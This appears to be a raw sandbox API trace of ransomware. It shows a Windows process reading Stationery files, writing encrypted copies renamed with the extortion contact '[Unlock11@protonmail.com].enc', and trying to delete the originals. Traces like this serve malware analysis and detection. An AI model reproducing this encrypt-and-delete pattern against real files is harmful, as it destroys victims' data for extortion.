RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.694] GetCurrentThreadId () returned 0x9b0 [0123.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.694] GetLastError () returned 0x0 [0123.695] GetLastError () returned 0x0 [0123.695] GetLastError () returned 0x0 [0123.695] GetLastError () returned 0x0 [0123.695] GetCurrentThreadId () returned 0x9b0 [0123.695] GetLastError () returned 0x0 [0123.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.696] GetCurrentThreadId () returned 0x9b0 [0123.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.696] GetCurrentThreadId () returned 0x9b0 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.696] GetLastError () returned 0x0 [0123.697] GetLastError () returned 0x0 [0123.697] GetCurrentThreadId () returned 0x9b0 [0123.697] GetLastError () returned 0x0 [0123.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0123.697] GetLastError () returned 0x0 [0123.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0123.697] GetLastError () returned 0x0 [0123.697] GetLastError () returned 0x0 [0123.697] GetLastError () returned 0x0 [0123.697] GetCurrentThreadId () returned 0x9b0 [0123.697] GetLastError () returned 0x0 [0123.698] GetCurrentThreadId () returned 0x9b0 [0123.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0123.698] GetLastError () returned 0x0 [0123.698] GetLastError () returned 0x0 [0123.698] GetLastError () returned 0x0 [0123.698] GetLastError () returned 0x0 [0123.698] GetCurrentThreadId () returned 0x9b0 [0123.698] GetLastError () returned 0x0 [0123.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0123.698] GetLastError () returned 0x0 [0123.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] GetCurrentThreadId () returned 0x9b0 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] GetLastError () returned 0x0 [0123.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.700] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1 [0123.700] GetLastError () returned 0x0 [0123.700] GetCurrentThreadId () returned 0x9b0 [0123.700] GetLastError () returned 0x0 [0123.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0123.700] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0123.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0123.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0123.700] GetCurrentThreadId () returned 0x9b0 [0123.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.701] GetLastError () returned 0x0 [0123.701] GetLastError () returned 0x0 [0123.701] GetLastError () returned 0x0 [0123.701] GetLastError () returned 0x0 [0123.701] GetCurrentThreadId () returned 0x9b0 [0123.701] GetLastError () returned 0x0 [0123.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.701] GetCurrentThreadId () returned 0x9b0 [0123.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.701] GetLastError () returned 0x0 [0123.702] GetLastError () returned 0x0 [0123.702] GetLastError () returned 0x0 [0123.702] GetLastError () returned 0x0 [0123.702] GetCurrentThreadId () returned 0x9b0 [0123.702] GetLastError () returned 0x0 [0123.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0123.702] GetLastError () returned 0x0 [0123.702] GetLastError () returned 0x0 [0123.702] GetLastError () returned 0x0 [0123.703] GetLastError () returned 0x0 [0123.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0123.703] GetLastError () returned 0x0 [0123.703] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.703] GetFileType (hFile=0x39c) returned 0x1 [0123.703] GetLastError () returned 0x0 [0123.703] GetCurrentThreadId () returned 0x9b0 [0123.703] GetLastError () returned 0x0 [0123.704] GetFileType (hFile=0x39c) returned 0x1 [0123.704] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.704] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.704] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.704] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.704] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.704] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.704] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.704] GetLastError () returned 0x0 [0123.704] GetCurrentThreadId () returned 0x9b0 [0123.704] GetLastError () returned 0x0 [0123.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0123.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0123.705] GetLastError () returned 0x0 [0123.705] GetLastError () returned 0x0 [0123.705] GetLastError () returned 0x0 [0123.705] GetLastError () returned 0x0 [0123.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0123.705] GetLastError () returned 0x0 [0123.705] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.706] GetFileType (hFile=0x3ac) returned 0x1 [0123.706] GetLastError () returned 0x0 [0123.706] GetCurrentThreadId () returned 0x9b0 [0123.706] GetLastError () returned 0x0 [0123.706] GetFileType (hFile=0x3ac) returned 0x1 [0123.706] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.706] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.706] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.706] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.706] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.707] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.707] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.707] GetLastError () returned 0x0 [0123.707] GetCurrentThreadId () returned 0x9b0 [0123.707] GetLastError () returned 0x0 [0123.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0123.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0123.707] GetCurrentThreadId () returned 0x9b0 [0123.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.707] GetLastError () returned 0x0 [0123.707] GetLastError () returned 0x0 [0123.708] GetCurrentThreadId () returned 0x9b0 [0123.708] GetCurrentThreadId () returned 0x9b0 [0123.709] GetCurrentThreadId () returned 0x9b0 [0123.710] GetCurrentThreadId () returned 0x9b0 [0123.710] GetCurrentThreadId () returned 0x9b0 [0123.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1415) returned 0x35bfe18 [0123.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0123.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.711] GetCurrentThreadId () returned 0x9b0 [0123.711] GetCurrentThreadId () returned 0x9b0 [0123.711] CloseHandle (hObject=0x3ac) returned 1 [0123.712] GetCurrentThreadId () returned 0x9b0 [0123.712] CloseHandle (hObject=0x39c) returned 1 [0123.712] GetCurrentThreadId () returned 0x9b0 [0123.712] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0 [0123.712] GetCurrentThreadId () returned 0x9b0 [0123.712] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x9bada4*="Roses.htm") returned 0x43 [0123.712] GetCurrentThreadId () returned 0x9b0 [0123.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead00 [0123.713] GetCurrentThreadId () returned 0x9b0 [0123.713] GetCurrentThreadId () returned 0x9b0 [0123.713] GetCurrentThreadId () returned 0x9b0 [0123.713] GetCurrentThreadId () returned 0x9b0 [0123.713] GetCurrentThreadId () returned 0x9b0 [0123.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0123.714] GetCurrentThreadId () returned 0x9b0 [0123.714] GetCurrentThreadId () returned 0x9b0 [0123.714] GetCurrentThreadId () returned 0x9b0 [0123.714] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1 [0123.714] GetCurrentThreadId () returned 0x9b0 [0123.714] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0123.714] GetCurrentThreadId () returned 0x9b0 [0123.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0123.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0123.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0123.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.715] GetCurrentThreadId () returned 0x9b0 [0123.715] GetCurrentThreadId () returned 0x9b0 [0123.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.715] GetCurrentThreadId () returned 0x9b0 [0123.715] GetCurrentThreadId () returned 0x9b0 [0123.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a34c0 | out: hHeap=0x2ad0000) returned 1 [0123.716] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.716] GetFileType (hFile=0x39c) returned 0x1 [0123.716] GetCurrentThreadId () returned 0x9b0 [0123.716] GetFileType (hFile=0x39c) returned 0x1 [0123.716] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.716] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.716] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.716] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.716] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.716] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.717] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.717] GetLastError () returned 0x0 [0123.717] GetCurrentThreadId () returned 0x9b0 [0123.717] GetLastError () returned 0x0 [0123.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6af8 | out: hHeap=0x2ad0000) returned 1 [0123.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0123.717] GetLastError () returned 0x0 [0123.717] GetLastError () returned 0x0 [0123.717] GetLastError () returned 0x0 [0123.717] GetLastError () returned 0x0 [0123.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6af8 [0123.718] GetLastError () returned 0x0 [0123.718] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.720] GetFileType (hFile=0x3ac) returned 0x1 [0123.720] GetLastError () returned 0x0 [0123.720] GetCurrentThreadId () returned 0x9b0 [0123.720] GetLastError () returned 0x0 [0123.720] GetFileType (hFile=0x3ac) returned 0x1 [0123.720] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.720] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.720] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.721] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.721] GetLastError () returned 0x0 [0123.721] GetCurrentThreadId () returned 0x9b0 [0123.721] GetLastError () returned 0x0 [0123.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6af8 | out: hHeap=0x2ad0000) returned 1 [0123.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0123.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.721] GetLastError () returned 0x0 [0123.721] GetLastError () returned 0x0 [0123.721] GetCurrentThreadId () returned 0x9b0 [0123.721] GetLastError () returned 0x0 [0123.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.722] GetLastError () returned 0x0 [0123.722] GetLastError () returned 0x0 [0123.722] GetCurrentThreadId () returned 0x9b0 [0123.722] GetLastError () returned 0x0 [0123.722] GetLastError () returned 0x0 [0123.723] GetLastError () returned 0x0 [0123.723] GetCurrentThreadId () returned 0x9b0 [0123.723] GetLastError () returned 0x0 [0123.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x35bcf90 [0123.723] GetCurrentThreadId () returned 0x9b0 [0123.724] GetLastError () returned 0x0 [0123.724] GetLastError () returned 0x0 [0123.724] GetLastError () returned 0x0 [0123.724] GetLastError () returned 0x0 [0123.724] GetCurrentThreadId () returned 0x9b0 [0123.724] GetLastError () returned 0x0 [0123.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bcf90 | out: hHeap=0x2ad0000) returned 1 [0123.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.724] GetLastError () returned 0x0 [0123.725] GetLastError () returned 0x0 [0123.725] GetCurrentThreadId () returned 0x9b0 [0123.725] GetLastError () returned 0x0 [0123.725] GetLastError () returned 0x0 [0123.725] GetLastError () returned 0x0 [0123.725] GetCurrentThreadId () returned 0x9b0 [0123.725] GetLastError () returned 0x0 [0123.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.725] GetLastError () returned 0x0 [0123.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.727] CloseHandle (hObject=0x3ac) returned 1 [0123.727] GetLastError () returned 0x0 [0123.727] GetCurrentThreadId () returned 0x9b0 [0123.727] GetLastError () returned 0x0 [0123.727] GetLastError () returned 0x0 [0123.727] CloseHandle (hObject=0x39c) returned 1 [0123.727] GetLastError () returned 0x0 [0123.727] GetCurrentThreadId () returned 0x9b0 [0123.727] GetLastError () returned 0x0 [0123.727] GetLastError () returned 0x0 [0123.728] GetLastError () returned 0x0 [0123.728] GetLastError () returned 0x0 [0123.728] GetLastError () returned 0x0 [0123.728] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0 [0123.728] GetLastError () returned 0x5 [0123.728] GetCurrentThreadId () returned 0x9b0 [0123.728] GetLastError () returned 0x5 [0123.728] GetLastError () returned 0x5 [0123.728] GetLastError () returned 0x5 [0123.729] GetLastError () returned 0x5 [0123.729] LocalFree (hMem=0x1053a70) returned 0x0 [0123.729] GetCurrentThreadId () returned 0x9b0 [0123.729] GetLastError () returned 0x5 [0123.729] GetLastError () returned 0x5 [0123.729] GetLastError () returned 0x5 [0123.729] GetLastError () returned 0x5 [0123.729] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x9bada4*="Roses.jpg") returned 0x43 [0123.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.730] GetCurrentThreadId () returned 0x9b0 [0123.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.730] GetLastError () returned 0x0 [0123.730] GetLastError () returned 0x0 [0123.730] GetLastError () returned 0x0 [0123.730] GetLastError () returned 0x0 [0123.730] GetLastError () returned 0x0 [0123.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.731] GetLastError () returned 0x0 [0123.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.732] GetLastError () returned 0x0 [0123.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.732] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0123.733] GetLastError () returned 0x0 [0123.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0123.733] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.733] GetLastError () returned 0x0 [0123.734] GetLastError () returned 0x0 [0123.734] GetLastError () returned 0x0 [0123.734] GetLastError () returned 0x0 [0123.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.734] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1 [0123.734] GetLastError () returned 0x0 [0123.734] GetLastError () returned 0x0 [0123.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0123.734] CryptGenRandom (in: 